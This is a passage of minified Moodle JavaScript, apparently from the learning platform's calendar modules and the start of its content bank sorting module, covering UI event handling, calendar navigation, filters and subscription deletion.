_modal_factory.default.create(modalParams)})).then((modal=&gt;(modal.getRoot().on(_modal_events.default.hidden,(function(){modal.destroy()})),modal.show(),modal))).then((modal=&gt;(pendingPromise.resolve(),modal))).catch(_notification.default.exception)};_exports.init=(root,view)=&gt;{(0,_prefetch.prefetchStrings)(&quot;calendar&quot;,[&quot;moreevents&quot;]),foldDayEvents(),(root=&gt;{(root=(0,_jquery.default)(root)).on(&quot;click&quot;,CalendarSelectors.links.eventLink,(e=&gt;{const target=e.target;let eventLink=null,eventId=null;const pendingPromise=new _pending.default(&quot;core_calendar/view_manager:eventLink:click&quot;);eventLink=target.matches(CalendarSelectors.actions.viewEvent)?target:target.closest(CalendarSelectors.actions.viewEvent),eventId=eventLink?eventLink.dataset.eventId:target.querySelector(CalendarSelectors.actions.viewEvent).dataset.eventId,eventId?(e.preventDefault(),e.stopPropagation(),renderEventSummaryModal(eventId).then(pendingPromise.resolve).catch()):pendingPromise.resolve()})),root.on(&quot;click&quot;,CalendarSelectors.links.navLink,(e=&gt;{const wrapper=root.find(CalendarSelectors.wrapper),view=wrapper.data(&quot;view&quot;),courseId=wrapper.data(&quot;courseid&quot;),categoryId=wrapper.data(&quot;categoryid&quot;),link=e.currentTarget;&quot;month&quot;===view||&quot;monthblock&quot;===view?(changeMonth(root,link.href,link.dataset.year,link.dataset.month,courseId,categoryId,link.dataset.day),e.preventDefault()):&quot;day&quot;===view&amp;&amp;(changeDay(root,link.href,link.dataset.year,link.dataset.month,link.dataset.day,courseId,categoryId),e.preventDefault())}));const viewSelector=root.find(CalendarSelectors.viewSelector);_custom_interaction_events.default.define(viewSelector,[_custom_interaction_events.default.events.activate]),viewSelector.on(_custom_interaction_events.default.events.activate,(e=&gt;{e.preventDefault();const option=e.target;if(option.classList.contains(&quot;active&quot;))return;const view=option.dataset.view,year=option.dataset.year,month=option.dataset.month,day=option.dataset.day,courseId=option.dataset.courseid,categoryId=option.dataset.categoryid;&quot;month&quot;==view?refreshMonthContent(root,year,month,courseId,categoryId,root,&quot;core_calendar/calendar_month&quot;,day).then((()=&gt;{updateUrl(&quot;?view=month&quot;)})).fail(_notification.default.exception):&quot;day&quot;==view?refreshDayContent(root,year,month,day,courseId,categoryId,root,&quot;core_calendar/calendar_day&quot;).then((()=&gt;{updateUrl(&quot;?view=day&quot;)})).fail(_notification.default.exception):&quot;upcoming&quot;==view&amp;&amp;reloadCurrentUpcoming(root,courseId,categoryId,root,&quot;core_calendar/calendar_upcoming&quot;).then((()=&gt;{updateUrl(&quot;?view=upcoming&quot;)})).fail(_notification.default.exception)}))})(root);const calendarTable=root.find(CalendarSelectors.elements.monthDetailed);if(calendarTable.length){&quot;month-detailed-&quot;.concat(calendarTable.id,&quot;-filterChanged&quot;);registerEventListenersForMonthDetailed(calendarTable)}}}));
/**
 * This module is responsible for the calendar filter.
 *
 * @module     core_calendar/calendar_filter
 * @copyright  2017 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_calendar/calendar_filter&quot;,[&quot;jquery&quot;,&quot;core_calendar/selectors&quot;,&quot;core_calendar/events&quot;,&quot;core/str&quot;,&quot;core/templates&quot;],(function($,CalendarSelectors,CalendarEvents,Str,Templates){var toggleFilter=function(target){var data=getFilterData(target);return data.hidden=!data.hidden,M.util.js_pending(&quot;core_calendar/calendar_filter:toggleFilter&quot;),Str.get_string(&quot;eventtype&quot;+data.eventtype,&quot;calendar&quot;).then((function(nameStr){return data.name=nameStr,data.icon=!0,data.key=&quot;i/&quot;+data.eventtype+&quot;event&quot;,data.component=&quot;core&quot;,data})).then((function(context){return Templates.render(&quot;core_calendar/event_filter_key&quot;,context)})).then((function(html,js){return Templates.replaceNode(target,html,js)})).then((function(){fireFilterChangedEvent(data),M.util.js_complete(&quot;core_calendar/calendar_filter:toggleFilter&quot;)}))},fireFilterChangedEvent=function(data){M.util.js_pending(&quot;month-mini-filterChanged&quot;),$(&quot;body&quot;).trigger(CalendarEvents.filterChanged,{type:data.eventtype,hidden:data.hidden}),M.util.js_complete(&quot;month-mini-filterChanged&quot;)},getFilterData=function(target){return{eventtype:target.data(&quot;eventtype&quot;),hidden:target.data(&quot;eventtype-hidden&quot;)}};return{init:function(root){!function(root){root.on(&quot;click&quot;,CalendarSelectors.eventFilterItem,(function(e){var target=$(e.currentTarget);toggleFilter(target),e.preventDefault()})),$(&quot;body&quot;).on(CalendarEvents.viewUpdated,(function(){root.find(CalendarSelectors.eventFilterItem).each((function(i,filter){if((filter=$(filter)).data(&quot;eventtype-hidden&quot;)){var data=getFilterData(filter);fireFilterChangedEvent(data)}}))}))}(root=$(root))}}}));
/**
 * This module is responsible for the calendar filter.
 *
 * @module     core_calendar/calendar_selectors
 * @copyright  2017 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_calendar/selectors&quot;,[],(function(){return{eventFilterItem:&quot;[data-action=&#039;filter-event-type&#039;]&quot;,eventType:{site:&quot;[data-eventtype-site]&quot;,category:&quot;[data-eventtype-category]&quot;,course:&quot;[data-eventtype-course]&quot;,group:&quot;[data-eventtype-group]&quot;,user:&quot;[data-eventtype-user]&quot;,other:&quot;[data-eventtype-other]&quot;},popoverType:{site:&quot;[data-popover-eventtype-site]&quot;,category:&quot;[data-popover-eventtype-category]&quot;,course:&quot;[data-popover-eventtype-course]&quot;,group:&quot;[data-popover-eventtype-group]&quot;,user:&quot;[data-popover-eventtype-user]&quot;,other:&quot;[data-popover-eventtype-other]&quot;},calendarPeriods:{month:&quot;[data-period=&#039;month&#039;]&quot;},courseSelector:&#039;select[name=&quot;course&quot;]&#039;,viewSelector:&#039;div[data-region=&quot;view-selector&quot;]&#039;,actions:{create:&#039;[data-action=&quot;new-event-button&quot;]&#039;,edit:&#039;[data-action=&quot;edit&quot;]&#039;,remove:&#039;[data-action=&quot;delete&quot;]&#039;,viewEvent:&#039;[data-action=&quot;view-event&quot;]&#039;,deleteSubscription:&#039;[data-action=&quot;delete-subscription&quot;]&#039;},elements:{courseSelector:&#039;select[name=&quot;course&quot;]&#039;,dateContainer:&quot;.clickable.hasevent&quot;,dateContent:&#039;[data-region=&quot;day-content&quot;]&#039;,monthDetailed:&quot;.calendarmonth.calendartable&quot;},today:&quot;.today&quot;,day:&#039;[data-region=&quot;day&quot;]&#039;,calendarMain:&#039;[data-region=&quot;calendar&quot;]&#039;,wrapper:&quot;.calendarwrapper&quot;,eventItem:&#039;[data-type=&quot;event&quot;]&#039;,links:{navLink:&quot;.calendarwrapper .arrow_link&quot;,eventLink:&quot;[data-region=&#039;event-item&#039;]&quot;,miniDayLink:&quot;[data-region=&#039;mini-day-link&#039;]&quot;},containers:{loadingIcon:&#039;[data-region=&quot;overlay-icon-container&quot;]&#039;},mainCalendar:&quot;.maincalendar .heightcontainer&quot;,fullCalendarView:&quot;page-calendar-view&quot;}}));
/**
 * Contain the events the calendar component can fire.
 *
 * @module     core_calendar/events
 * @copyright  2017 Simey Lameze &lt;simey@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_calendar/events&quot;,[],(function(){return{created:&quot;calendar-events:created&quot;,deleted:&quot;calendar-events:deleted&quot;,deleteAll:&quot;calendar-events:delete_all&quot;,updated:&quot;calendar-events:updated&quot;,editEvent:&quot;calendar-events:edit_event&quot;,editActionEvent:&quot;calendar-events:edit_action_event&quot;,eventMoved:&quot;calendar-events:event_moved&quot;,dayChanged:&quot;calendar-events:day_changed&quot;,monthChanged:&quot;calendar-events:month_changed&quot;,moveEvent:&quot;calendar-events:move_event&quot;,filterChanged:&quot;calendar-events:filter_changed&quot;,courseChanged:&quot;calendar-events:course_changed&quot;,viewUpdated:&quot;calendar-events:view_updated&quot;}}));
/**
 * This module is the highest level module for the calendar. It is
 * responsible for initialising all of the components required for
 * the calendar to run. It also coordinates the interaction between
 * components by listening for and responding to different events
 * triggered within the calendar UI.
 *
 * @module     core_calendar/calendar_mini
 * @copyright  2017 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_calendar/calendar_mini&quot;,[&quot;jquery&quot;,&quot;core_calendar/selectors&quot;,&quot;core_calendar/events&quot;,&quot;core_calendar/view_manager&quot;],(function($,CalendarSelectors,CalendarEvents,CalendarViewManager){var reloadMonth=function(e){var root=e.data,body=$(&quot;body&quot;),namespace=&quot;.&quot;+root.attr(&quot;id&quot;);root.is(&quot;:visible&quot;)?CalendarViewManager.reloadCurrentMonth(root):(body.off(CalendarEvents.created+namespace),body.off(CalendarEvents.deleted+namespace),body.off(CalendarEvents.updated+namespace),body.off(CalendarEvents.eventMoved+namespace))};return{init:function(root,loadOnInit){root=$(root),CalendarViewManager.init(root),function(root){$(&quot;body&quot;).on(CalendarEvents.filterChanged,(function(e,data){root.find(CalendarSelectors.eventType[data.type]).toggleClass(&quot;calendar_event_&quot;+data.type,!data.hidden)}));var namespace=&quot;.&quot;+root.attr(&quot;id&quot;);$(&quot;body&quot;).on(&quot;change&quot;+namespace,CalendarSelectors.elements.courseSelector,(function(){if(root.is(&quot;:visible&quot;)){var courseId=$(this).val();CalendarViewManager.reloadCurrentMonth(root,courseId,null)}else $(&quot;body&quot;).off(&quot;change&quot;+namespace)}))}(root),function(root){var body=$(&quot;body&quot;),namespace=&quot;.&quot;+root.attr(&quot;id&quot;);body.on(CalendarEvents.created+namespace,root,reloadMonth),body.on(CalendarEvents.deleted+namespace,root,reloadMonth),body.on(CalendarEvents.updated+namespace,root,reloadMonth),body.on(CalendarEvents.eventMoved+namespace,root,reloadMonth)}(root),loadOnInit&amp;&amp;CalendarViewManager.reloadCurrentMonth(root)}}}));
/**
 * A javascript module to enhance the event form.
 *
 * @module     core_calendar/event_form
 * @copyright  2017 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_calendar/event_form&quot;,[&quot;jquery&quot;,&quot;core_calendar/repository&quot;],(function($,CalendarRepository){var SELECTORS_EVENT_GROUP_COURSE_ID=&#039;[name=&quot;groupcourseid&quot;]&#039;,SELECTORS_EVENT_GROUP_ID=&#039;[name=&quot;groupid&quot;]&#039;,SELECTORS_SELECT_OPTION=&quot;option&quot;,addCourseGroupSelectListeners=function(formElement){var courseGroupSelect=formElement.find(SELECTORS_EVENT_GROUP_COURSE_ID);courseGroupSelect.on(&quot;change&quot;,(function(){var courseId=formElement.find(SELECTORS_EVENT_GROUP_COURSE_ID).val();CalendarRepository.getCourseGroupsData(courseId).then((function(groups){return function(groups){var groupSelect=formElement.find(SELECTORS_EVENT_GROUP_ID),groupSelectOptions=groupSelect.find(SELECTORS_SELECT_OPTION),courseGroups=$(groups);groupSelectOptions.remove(),groupSelect.prop(&quot;disabled&quot;,!1),courseGroups.each((function(id,group){$(groupSelect).append($(&quot;&lt;option&gt;&lt;/option&gt;&quot;).attr(&quot;value&quot;,group.id).text(group.name))}))}(groups)})).catch(Notification.exception)}))};return{init:function(formId){var formElement=$(&quot;#&quot;+formId);addCourseGroupSelectListeners(formElement)}}}));
define(&quot;core_calendar/manage_subscriptions&quot;,[&quot;exports&quot;,&quot;core_calendar/selectors&quot;,&quot;core_calendar/repository&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/notification&quot;,&quot;core/prefetch&quot;,&quot;core/str&quot;,&quot;core/local/inplace_editable/events&quot;],(function(_exports,CalendarSelectors,CalendarRepository,Modal,ModalEvents,_notification,_prefetch,_str,_events){var obj;function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}
/**
   * A module to handle Delete/Update operations of the manage subscription page.
   *
   * @module core_calendar/manage_subscriptions
   * @copyright 2021 Huong Nguyen &lt;huongnv13@gmail.com&gt;
   * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   * @since 4.0
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,CalendarSelectors=_interopRequireWildcard(CalendarSelectors),CalendarRepository=_interopRequireWildcard(CalendarRepository),Modal=_interopRequireWildcard(Modal),ModalEvents=_interopRequireWildcard(ModalEvents),_prefetch=(obj=_prefetch)&amp;&amp;obj.__esModule?obj:{default:obj};const getSubscriptionName=element=&gt;element.closest(&quot;tr&quot;).dataset.subname,registerEventListeners=()=&gt;{document.addEventListener(&quot;click&quot;,(e=&gt;{const deleteAction=e.target.closest(CalendarSelectors.actions.deleteSubscription);if(deleteAction){e.preventDefault();((element,messageCode)=&gt;{const subscriptionName=getSubscriptionName(element);return Modal.create({type:Modal.types.SAVE_CANCEL,title:(0,_str.get_string)(&quot;confirmation&quot;,&quot;admin&quot;),body:(0,_str.get_string)(messageCode,&quot;calendar&quot;,subscriptionName),buttons:{save:(0,_str.get_string)(&quot;yes&quot;)}}).then((modal=&gt;(modal.getRoot().on(ModalEvents.hidden,(()=&gt;{element.focus()})),modal.show(),modal)))})(deleteAction,&quot;confirmsubscriptiondelete&quot;).then((modal=&gt;(modal.getRoot().on(ModalEvents.save,(()=&gt;{const subscriptionId=parseInt(deleteAction.closest(&quot;tr&quot;).dataset.subid);CalendarRepository.deleteSubscription(subscriptionId).then((data=&gt;{const response=(async(element,data)=&gt;{const subscriptionName=getSubscriptionName(element),message=data.status?await(0,_str.get_string)(&quot;subscriptionremoved&quot;,&quot;calendar&quot;,subscriptionName):data.warnings[0].message,type=data.status?&quot;info&quot;:&quot;error&quot;;return(0,_notification.addNotification)({message:message,type:type})})(deleteAction,data);return response.then((()=&gt;{const subscriptionRow=(subscriptionId=&gt;document.querySelector(&#039;tr[data-subid=&quot;&#039;.concat(subscriptionId,&#039;&quot;]&#039;)))(subscriptionId);return subscriptionRow.remove()}))})).catch(_notification.displayException)})),modal))).catch(_notification.displayException)}})),document.addEventListener(_events.eventTypes.elementUpdated,(e=&gt;{&quot;core_calendar&quot;==e.target.getAttribute(&quot;data-component&quot;)&amp;&amp;(0,_notification.fetchNotifications)()}))};_exports.init=()=&gt;{_prefetch.default.prefetchStrings(&quot;moodle&quot;,[&quot;yes&quot;]),_prefetch.default.prefetchStrings(&quot;core_admin&quot;,[&quot;confirmation&quot;]),_prefetch.default.prefetchStrings(&quot;core_calendar&quot;,[&quot;confirmsubscriptiondelete&quot;,&quot;subscriptionremoved&quot;]),registerEventListeners()}}));
/**
 * This module is the highest level module for the calendar. It is
 * responsible for initialising all of the components required for
 * the calendar to run. It also coordinates the interaction between
 * components by listening for and responding to different events
 * triggered within the calendar UI.
 *
 * @module     core_calendar/calendar
 * @copyright  2017 Simey Lameze &lt;simey@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_calendar/calendar&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/str&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/modal_events&quot;,&quot;core/modal_factory&quot;,&quot;core_calendar/modal_event_form&quot;,&quot;core_calendar/summary_modal&quot;,&quot;core_calendar/repository&quot;,&quot;core_calendar/events&quot;,&quot;core_calendar/view_manager&quot;,&quot;core_calendar/crud&quot;,&quot;core_calendar/selectors&quot;,&quot;core/config&quot;],(function($,Ajax,Str,Templates,Notification,CustomEvents,ModalEvents,ModalFactory,ModalEventForm,SummaryModal,CalendarRepository,CalendarEvents,CalendarViewManager,CalendarCrud,CalendarSelectors,Config){var SELECTORS_DAY=&quot;[data-region=&#039;day&#039;]&quot;,SELECTORS_DAY_CONTENT=&quot;[data-region=&#039;day-content&#039;]&quot;,SELECTORS_LOADING_ICON=&quot;.loading-icon&quot;,SELECTORS_VIEW_DAY_LINK=&quot;[data-action=&#039;view-day-link&#039;]&quot;,SELECTORS_CALENDAR_MONTH_WRAPPER=&quot;.calendarwrapper&quot;,handleMoveEvent=function(e,eventId,originElement,destinationElement){var originTimestamp=null,destinationTimestamp=destinationElement.attr(&quot;data-day-timestamp&quot;);originElement&amp;&amp;(originTimestamp=originElement.attr(&quot;data-day-timestamp&quot;)),originElement&amp;&amp;originTimestamp==destinationTimestamp||Templates.render(&quot;core/loading&quot;,{}).then((function(html,js){destinationElement.find(SELECTORS_DAY_CONTENT).addClass(&quot;hidden&quot;),Templates.appendNodeContents(destinationElement,html,js),originElement&amp;&amp;(originElement.find(SELECTORS_DAY_CONTENT).addClass(&quot;hidden&quot;),Templates.appendNodeContents(originElement,html,js))})).then((function(){return CalendarRepository.updateEventStartDay(eventId,destinationTimestamp)})).then((function(){$(&quot;body&quot;).trigger(CalendarEvents.eventMoved,[eventId,originElement,destinationElement])})).always((function(){var destinationLoadingElement=destinationElement.find(SELECTORS_LOADING_ICON);if(destinationElement.find(SELECTORS_DAY_CONTENT).removeClass(&quot;hidden&quot;),Templates.replaceNode(destinationLoadingElement,&quot;&quot;,&quot;&quot;),originElement){var originLoadingElement=originElement.find(SELECTORS_LOADING_ICON);originElement.find(SELECTORS_DAY_CONTENT).removeClass(&quot;hidden&quot;),Templates.replaceNode(originLoadingElement,&quot;&quot;,&quot;&quot;)}})).fail(Notification.exception)},registerEventListeners=function(root){const viewingFullCalendar=document.getElementById(CalendarSelectors.fullCalendarView);root.on(&quot;click&quot;,SELECTORS_VIEW_DAY_LINK,(function(e){var dayLink=$(e.target).closest(SELECTORS_VIEW_DAY_LINK),year=dayLink.data(&quot;year&quot;),month=dayLink.data(&quot;month&quot;),day=dayLink.data(&quot;day&quot;),courseId=dayLink.data(&quot;courseid&quot;),categoryId=dayLink.data(&quot;categoryid&quot;);const url=&quot;?view=day&amp;time=&quot;+dayLink.data(&quot;timestamp&quot;);viewingFullCalendar?CalendarViewManager.refreshDayContent(root,year,month,day,courseId,categoryId,root,&quot;core_calendar/calendar_day&quot;).then((function(){return e.preventDefault(),CalendarViewManager.updateUrl(url)})).fail(Notification.exception):window.location.assign(Config.wwwroot+&quot;/calendar/view.php&quot;+url)})),root.on(&quot;change&quot;,CalendarSelectors.elements.courseSelector,(function(){var courseId=$(this).val();CalendarViewManager.reloadCurrentMonth(root,courseId,null).then((function(){return root.find(CalendarSelectors.elements.courseSelector).val(courseId)})).fail(Notification.exception)}));var eventFormPromise=CalendarCrud.registerEventFormModal(root),contextId=$(SELECTORS_CALENDAR_MONTH_WRAPPER).data(&quot;context-id&quot;);!function(root,eventFormModalPromise){var body=$(&quot;body&quot;);body.on(CalendarEvents.created,(function(){CalendarViewManager.reloadCurrentMonth(root)})),body.on(CalendarEvents.deleted,(function(){CalendarViewManager.reloadCurrentMonth(root)})),body.on(CalendarEvents.updated,(function(){CalendarViewManager.reloadCurrentMonth(root)})),body.on(CalendarEvents.editActionEvent,(function(e,url){window.location.assign(url)})),body.on(CalendarEvents.moveEvent,handleMoveEvent),body.on(CalendarEvents.eventMoved,(function(){CalendarViewManager.reloadCurrentMonth(root)})),CalendarCrud.registerEditListeners(root,eventFormModalPromise)}(root,eventFormPromise),contextId&amp;&amp;root.on(&quot;click&quot;,SELECTORS_DAY,(function(e){var target=$(e.target);const displayingSmallBlockCalendar=&quot;side-pre&quot;===root.parents(&quot;aside&quot;).data(&quot;blockregion&quot;);if(!viewingFullCalendar&amp;&amp;displayingSmallBlockCalendar){const url=&quot;?view=day&amp;time=&quot;+target.closest(SELECTORS_DAY).data(&quot;day-timestamp&quot;);window.location.assign(Config.wwwroot+&quot;/calendar/view.php&quot;+url)}else{if(!target.closest(SELECTORS_VIEW_DAY_LINK).length){var startTime=$(this).attr(&quot;data-new-event-timestamp&quot;);eventFormPromise.then((function(modal){var wrapper=target.closest(CalendarSelectors.wrapper);modal.setCourseId(wrapper.data(&quot;courseid&quot;));var categoryId=wrapper.data(&quot;categoryid&quot;);void 0!==categoryId&amp;&amp;modal.setCategoryId(categoryId),modal.setContextId(wrapper.data(&quot;contextId&quot;)),modal.setStartTime(startTime),modal.show()})).fail(Notification.exception)}}e.preventDefault()}))};return{init:function(root){root=$(root),CalendarViewManager.init(root),registerEventListeners(root)}}}));
/**
 * This module is responsible for handle calendar day and upcoming view.
 *
 * @module     core_calendar/calendar
 * @copyright  2017 Simey Lameze &lt;simey@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_calendar/calendar_view&quot;,[&quot;jquery&quot;,&quot;core/str&quot;,&quot;core/notification&quot;,&quot;core_calendar/selectors&quot;,&quot;core_calendar/events&quot;,&quot;core_calendar/view_manager&quot;,&quot;core_calendar/repository&quot;,&quot;core/modal_factory&quot;,&quot;core_calendar/modal_event_form&quot;,&quot;core/modal_events&quot;,&quot;core_calendar/crud&quot;],(function($,Str,Notification,CalendarSelectors,CalendarEvents,CalendarViewManager,CalendarRepository,ModalFactory,ModalEventForm,ModalEvents,CalendarCrud){return{init:function(root,type){root=$(root),CalendarViewManager.init(root,type),function(root,type){var body=$(&quot;body&quot;);CalendarCrud.registerRemove(root);var reloadFunction=&quot;reloadCurrent&quot;+type.charAt(0).toUpperCase()+type.slice(1);body.on(CalendarEvents.created,(function(){CalendarViewManager[reloadFunction](root)})),body.on(CalendarEvents.deleted,(function(){CalendarViewManager[reloadFunction](root)})),body.on(CalendarEvents.updated,(function(){CalendarViewManager[reloadFunction](root)})),root.on(&quot;change&quot;,CalendarSelectors.courseSelector,(function(){var courseId=$(this).val();CalendarViewManager[reloadFunction](root,courseId,null).then((function(){return root.find(CalendarSelectors.courseSelector).val(courseId)})).then((function(){CalendarViewManager.updateUrl(&quot;?view=upcoming&amp;course=&quot;+courseId)})).fail(Notification.exception)})),body.on(CalendarEvents.filterChanged,(function(e,data){var daysWithEvent=root.find(CalendarSelectors.eventType[data.type]);1==data.hidden?daysWithEvent.addClass(&quot;hidden&quot;):daysWithEvent.removeClass(&quot;hidden&quot;),CalendarViewManager.foldDayEvents(root)}));var eventFormPromise=CalendarCrud.registerEventFormModal(root);CalendarCrud.registerEditListeners(root,eventFormPromise)}(root,type)}}}));
define(&quot;core_contentbank/sort&quot;,[&quot;exports&quot;,&quot;./selectors&quot;,&quot;core/str&quot;,&quot;core/prefetch&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;],(function(_exports,_selectors,_str,_prefetch,_ajax,_notification){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Content bank UI actions.
   *
   * @module     core_contentbank/sort
   * @copyright  2020 Bas Brands &lt;bas@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_selectors=_interopRequireDefault(_selectors),_prefetch=_interopRequireDefault(_prefetch),_ajax=_interopRequireDefault(_ajax),_notification=_interopRequireDefault(_notification);_exports.init=()=&gt;{const contentBank=document.querySelector(_selectors.default.regions.contentbank);_prefetch.default.prefetchStrings(&quot;contentbank&quot;,[&quot;contentname&quot;,&quot;uses&quot;,&quot;lastmodified&quot;,&quot;size&quot;,&quot;type&quot;,&quot;author&quot;]),_prefetch.default.prefetchStrings(&quot;moodle&quot;,[&quot;sortbyx&quot;,&quot;sortbyxreverse&quot;]),registerListenerEvents(contentBank)};const registerListenerEvents=contentBank=&gt;{contentBank.addEventListener(&quot;click&quot;,(e=&gt;{const viewList=contentBank.querySelector(_selectors.default.actions.viewlist),viewGrid=contentBank.querySelector(_selectors.default.actions.viewgrid),fileArea=contentBank.querySelector(_selectors.default.regions.filearea),shownItems=fileArea.querySelectorAll(_selectors.default.elements.listitem);if(e.target.closest(_selectors.default.actions.viewgrid)){if(contentBank.classList.remove(&quot;view-list&quot;),contentBank.classList.add(&quot;view-grid&quot;),fileArea&amp;&amp;shownItems){fileArea.setAttribute(&quot;role&quot;,&quot;list&quot;),shownItems.forEach((listItem=&gt;{listItem.setAttribute(&quot;role&quot;,&quot;listitem&quot;),listItem.querySelectorAll(_selectors.default.elements.cell).forEach((cell=&gt;cell.removeAttribute(&quot;role&quot;)))}));const heading=fileArea.querySelector(_selectors.default.elements.heading);heading.removeAttribute(&quot;role&quot;),heading.querySelectorAll(_selectors.default.elements.cell).forEach((cell=&gt;cell.removeAttribute(&quot;role&quot;)))}return viewGrid.classList.add(&quot;active&quot;),viewList.classList.remove(&quot;active&quot;),void setViewListPreference(!1)}if(e.target.closest(_selectors.default.actions.viewlist)){if(contentBank.classList.remove(&quot;view-grid&quot;),contentBank.classList.add(&quot;view-list&quot;),fileArea&amp;&amp;shownItems){fileArea.setAttribute(&quot;role&quot;,&quot;table&quot;),shownItems.forEach((listItem=&gt;{listItem.setAttribute(&quot;role&quot;,&quot;row&quot;),listItem.querySelectorAll(_selectors.default.elements.cell).forEach((cell=&gt;cell.setAttribute(&quot;role&quot;,&quot;cell&quot;)))}));const heading=fileArea.querySelector(_selectors.default.elements.heading);heading.setAttribute(&quot;role&quot;,&quot;row&quot;),heading.querySelectorAll(_selectors.default.elements.cell).forEach((cell=&gt;cell.setAttribute(&quot;role&quot;,&quot;columnheader&quot;)))}return viewList.classList.add(&quot;active&quot;),viewGrid.classList.remove(&quot;active&quot;),void setViewListPreference(!0)}if(fileArea&amp;&amp;shownItems){const sortByName=e.target.closest(_selectors.default.actions.sortname);if(sortByName){const ascending=updateSortButtons(contentBank,sortByName);return void updateSortOrder(fileArea,shownItems,&quot;data-file&quot;,ascending)}const sortByUses=e.target.closest(_selectors.default.actions.sortuses);if(sortByUses){const ascending=updateSortButtons(contentBank,sortByUses);return void updateSortOrder(fileArea,shownItems,&quot;data-uses&quot;,ascending)}const sortByDate=e.target.closest(_selectors.default.actions.sortdate);if(sortByDate){const ascending=updateSortButtons(contentBank,sortByDate);return void updateSortOrder(fileArea,shownItems,&quot;data-timemodified&quot;,ascending)}const sortBySize=e.target.closest(_selectors.default.actions.sortsize);if(sortBySize){const ascending=updateSortButtons(contentBank,sortBySize);return void updateSortOrder(fileArea,shownItems,&quot;data-bytes&quot;,ascending)}const sortByType=e.target.closest(_selectors.default.actions.sorttype);if(sortByType){const ascending=updateSortButtons(contentBank,sortByType);return void updateSortOrder(fileArea,shownItems,&quot;data-type&quot;,ascending)}const sortByAuthor=e.target.closest(_selectors.default.actions.sortauthor);if(sortByAuthor){const ascending=updateSortButtons(contentBank,sortByAuthor);updateSortOrder(fileArea,shownItems,&quot;data-author&quot;,ascending)}}else;}))},setViewListPreference=function(viewList){!1===viewList&amp;&amp;(viewList=null);const request={methodname:&quot;core_user_update_user_preferences&quot;,args:{preferences:[{type:&quot;core_contentbank_view_list&quot;,value:viewList}]}};return _ajax.default.call([request])[0].catch(_notification.default.exception)},updateSortButtons=(contentBank,sortButton)=&gt;{contentBank.querySelectorAll(_selectors.default.elements.sortbutton).forEach((button=&gt;{button!==sortButton&amp;&amp;(button.classList.remove(&quot;dir-asc&quot;),button.classList.remove(&quot;dir-desc&quot;),button.classList.add(&quot;dir-none&quot;),button.closest(_selectors.default.elements.cell).setAttribute(&quot;aria-sort&quot;,&quot;none&quot;),updateButtonTitle(button,!1))}));let ascending=!0;return sortButton.classList.contains(&quot;dir-none&quot;)?(sortButton.classList.remove(&quot;dir-none&quot;),sortButton.classList.add(&quot;dir-asc&quot;),sortButton.closest(_selectors.default.elements.cell).setAttribute(&quot;aria-sort&quot;,&quot;ascending&quot;)):sortButton.classList.contains(&quot;dir-asc&quot;)?(sortButton.classList.remove(&quot;dir-asc&quot;),sortButton.classList.add(&quot;dir-desc&quot;),sortButton.closest(_selectors.default.elements.cell).setAttribute(&quot;aria-sort&quot;,&quot;descending&quot;),ascending=!1):sortButton.classList.contains(&quot;dir-desc&quot;)&amp;&amp;(sortButton.classList.remove(&quot;dir-desc&quot;),sortButton.classList.add(&quot;dir-asc&quot;),sortButton.closest(_selectors.default.elements.cell).setAttribute(&quot;aria-sort&quot;,&quot;ascending&quot;)),updateButtonTitle(sortButton,ascending),ascending},updateButtonTitle=(button,ascending)=&gt;{const sortString=ascending?&quot;sortbyxreverse&quot;:&quot;sortbyx&quot;;return(0,_str.get_string)(button.dataset.string,&quot;contentbank&quot;).then((columnName=&gt;(0,_str.get_string)(sortString,&quot;core&quot;,columnName))).then((sortByString=&gt;(button.setAttribute(&quot;title&quot;,sortByString),sortByString))).catch()},updateSortOrder=(fileArea,itemList,attribute,ascending)=&gt;{[].slice.call(itemList).sort((function(a,b){let aa=a.getAttribute(attribute),bb=b.getAttribute(attribute);return 